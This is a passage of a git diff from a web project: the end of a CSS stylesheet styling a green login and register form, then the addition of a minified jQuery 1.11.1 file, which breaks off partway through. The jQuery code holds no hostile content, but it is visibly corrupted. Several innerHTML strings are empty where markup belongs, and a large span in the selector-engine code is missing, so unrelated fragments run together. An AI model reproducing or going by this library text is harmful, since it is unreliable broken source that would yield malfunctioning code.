background: #43a047; +} +.form .message { + margin: 15px 0 0; + color: #b3b3b3; + font-size: 12px; +} +.form .message a { + color: #4caf50; + text-decoration: none; +} +.form .register-form { + display: none; +} +.form p { + text-align: left; + margin: 0; + font-size: 13px; +} +.form p input { + width: auto; + margin-right: 10px; +} +.container { + position: relative; + z-index: 1; + max-width: 300px; + margin: 0 auto; +} +.container:before, +.container:after { + content: ""; + display: block; + clear: both; +} +.container .info { + margin: 50px auto; + text-align: center; +} +.container .info h1 { + margin: 0 0 15px; + padding: 0; + font-size: 36px; + font-weight: 300; + color: #1a1a1a; +} +.container .info span { + color: #4d4d4d; + font-size: 12px; +} +.container .info span a { + color: #000000; + text-decoration: none; +} +.container .info span .fa { + color: #ef3b3a; +} +body { + background: #76b852; /* fallback for old browsers */ + background: -webkit-linear-gradient(right, #76b852, #8dc26f); + background: -moz-linear-gradient(right, #76b852, #8dc26f); + background: -o-linear-gradient(right, #76b852, #8dc26f); + background: linear-gradient(to left, #76b852, #8dc26f); + font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif; +} diff --git a/src/main/resources/static/js/jquery-1.11.1.min.js b/src/main/resources/static/js/jquery-1.11.1.min.js new file mode 100644 index 00000000..88a5832a --- /dev/null +++ b/src/main/resources/static/js/jquery-1.11.1.min.js @@ -0,0 +1,4 @@ +/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||m.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(e=arguments[h]))for(d in e)a=g[d],c=e[d],g!==c&&(j&&c&&(m.isPlainObject(c)||(b=m.isArray(c)))?(b?(b=!1,f=a&&m.isArray(a)?a:[]):f=a&&m.isPlainObject(a)?a:{},g[d]=m.extend(j,f,c)):void 0!==c&&(g[d]=c));return g},m.extend({expando:"jQuery"+(l+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===m.type(a)},isArray:Array.isArray||function(a){return"array"===m.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return!m.isArray(a)&&a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},isPlainObject:function(a){var b;if(!a||"object"!==m.type(a)||a.nodeType||m.isWindow(a))return!1;try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}if(k.ownLast)for(b in a)return j.call(a,b);for(b in a);return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&m.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(o,"ms-").replace(p,q)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=r(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(n,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(r(Object(a))?m.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g)return g.call(b,a,c);for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++)if(c in b&&b[c]===a)return c}return-1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d)a[e++]=b[d++];if(c!==c)while(void 0!==b[d])a[e++]=b[d++];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=r(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),m.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||m.guid++,e):void 0},now:function(){return+new Date},support:k}),m.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function r(a){var b=a.length,c=m.type(a);return"function"===c||m.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var s=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+-new Date,v=a.document,w=0,x=0,y=gb(),z=gb(),A=gb(),B=function(a,b){return a===b&&(l=!0),0},C="undefined",D=1<<31,E={}.hasOwnProperty,F=[],G=F.pop,H=F.push,I=F.push,J=F.slice,K=F.indexOf||function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]===a)return b;return-1},L="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",N="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",O=N.replace("w","w#"),P="\\["+M+"*("+N+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+O+"))|)"+M+"*\\]",Q=":("+N+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+P+")*)|.*)\\)|)",R=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),S=new RegExp("^"+M+"*,"+M+"*"),T=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),V=new RegExp(Q),W=new RegExp("^"+O+"$"),X={ID:new RegExp("^#("+N+")"),CLASS:new RegExp("^\\.("+N+")"),TAG:new RegExp("^("+N.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+Q),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+L+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{I.apply(F=J.call(v.childNodes),v.childNodes),F[v.childNodes.length].nodeType}catch(eb){I={apply:F.length?function(a,b){H.apply(a,J.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function fb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],!a||"string"!=typeof a)return d;if(1!==(k=b.nodeType)&&9!==k)return[];if(p&&!e){if(f=_.exec(a))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return I.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName&&b.getElementsByClassName)return I.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=9===k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+qb(o[l]);w=ab.test(a)&&ob(b.parentNode)||b,x=o.join(",")}if(x)try{return I.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function gb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function hb(a){return a[u]=!0,a}function ib(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function jb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function kb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||D)-(~a.sourceIndex||D);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function lb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function nb(a){return hb(function(b){return b=+b,hb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function ob(a){return a&&typeof a.getElementsByTagName!==C&&a}c=fb.support={},f=fb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=fb.setDocument=function(a){var b,e=a?a.ownerDocument||a:v,g=e.defaultView;return e!==n&&9===e.nodeType&&e.documentElement?(n=e,o=e.documentElement,p=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){m()},!1):g.attachEvent&&g.attachEvent("onunload",function(){m()})),c.attributes=ib(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ib(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(e.getElementsByClassName)&&ib(function(a){return a.innerHTML="
",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=ib(function(a){return o.appendChild(a).id=u,!e.getElementsByName||!e.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==C&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c=typeof a.getAttributeNode!==C&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==C?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==C&&p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(e.querySelectorAll))&&(ib(function(a){a.innerHTML="",a.querySelectorAll("[msallowclip^='']").length&&q.push("[*^$]="+M+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+M+"*(?:value|"+L+")"),a.querySelectorAll(":checked").length||q.push(":checked")}),ib(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+M+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ib(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",Q)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===v&&t(v,a)?-1:b===e||b.ownerDocument===v&&t(v,b)?1:k?K.call(k,a)-K.call(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],i=[b];if(!f||!g)return a===e?-1:b===e?1:f?-1:g?1:k?K.call(k,a)-K.call(k,b):0;if(f===g)return kb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?kb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},e):n},fb.matches=function(a,b){return fb(a,null,null,b)},fb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return fb(b,n,null,[a]).length>0},fb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},fb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&E.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},fb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},fb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=fb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=fb.selectors={cacheLength:50,createPseudo:hb,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||fb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&fb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+M+")"+a+"("+M+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==C&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=fb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||fb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?hb(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=K.call(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:hb(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?hb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:hb(function(a){return function(b){return fb(a,b).length>0}}),contains:hb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:hb(function(a){return W.test(a||"")||fb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:nb(function(){return[0]}),last:nb(function(a,b){return[b-1]}),eq:nb(function(a,b,c){return[0>c?c+b:c]}),even:nb(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:nb(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:nb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:nb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function rb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function sb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function tb(a,b,c){for(var d=0,e=b.length;e>d;d++)fb(a,b[d],c);return c}function ub(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function vb(a,b,c,d,e,f){return d&&!d[u]&&(d=vb(d)),e&&!e[u]&&(e=vb(e,f)),hb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||tb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ub(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ub(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?K.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ub(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):I.apply(g,r)})}function wb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=rb(function(a){return a===b},h,!0),l=rb(function(a){return K.call(b,a)>-1},h,!0),m=[function(a,c,d){return!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>i;i++)if(c=d.relative[a[i].type])m=[rb(sb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return vb(i>1&&sb(m),i>1&&qb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&wb(a.slice(i,e)),f>e&&wb(a=a.slice(e)),f>e&&qb(a))}m.push(c)}return sb(m)}function xb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=G.call(i));s=ub(s)}I.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&fb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?hb(f):f}return h=fb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=wb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xb(e,d)),f.selector=a}return f},i=fb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&ob(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qb(j),!a)return I.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&ob(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ib(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ib(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||jb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ib(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||jb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ib(function(a){return null==a.getAttribute("disabled")})||jb(L,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fb}(a);m.find=s,m.expr=s.selectors,m.expr[":"]=m.expr.pseudos,m.unique=s.uniqueSort,m.text=s.getText,m.isXMLDoc=s.isXML,m.contains=s.contains;var t=m.expr.match.needsContext,u=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,v=/^.[^:#\[\.,]*$/;function w(a,b,c){if(m.isFunction(b))return m.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return m.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(v.test(b))return m.filter(b,a,c);b=m.filter(b,a)}return m.grep(a,function(a){return m.inArray(a,b)>=0!==c})}m.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?m.find.matchesSelector(d,a)?[d]:[]:m.find.matches(a,m.grep(b,function(a){return 1===a.nodeType}))},m.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a)return this.pushStack(m(a).filter(function(){for(b=0;e>b;b++)if(m.contains(d[b],this))return!0}));for(b=0;e>b;b++)m.find(a,d[b],c);return c=this.pushStack(e>1?m.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(w(this,a||[],!1))},not:function(a){return this.pushStack(w(this,a||[],!0))},is:function(a){return!!w(this,"string"==typeof a&&t.test(a)?m(a):a||[],!1).length}});var x,y=a.document,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=m.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||x).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof m?b[0]:b,m.merge(this,m.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:y,!0)),u.test(c[1])&&m.isPlainObject(b))for(c in b)m.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}if(d=y.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2])return x.find(a);this.length=1,this[0]=d}return this.context=y,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):m.isFunction(a)?"undefined"!=typeof x.ready?x.ready(a):a(m):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),m.makeArray(a,this))};A.prototype=m.fn,x=m(y);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};m.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!m(e).is(c)))1===e.nodeType&&d.push(e),e=e[b];return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),m.fn.extend({has:function(a){var b,c=m(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++)if(m.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=t.test(a)||"string"!=typeof 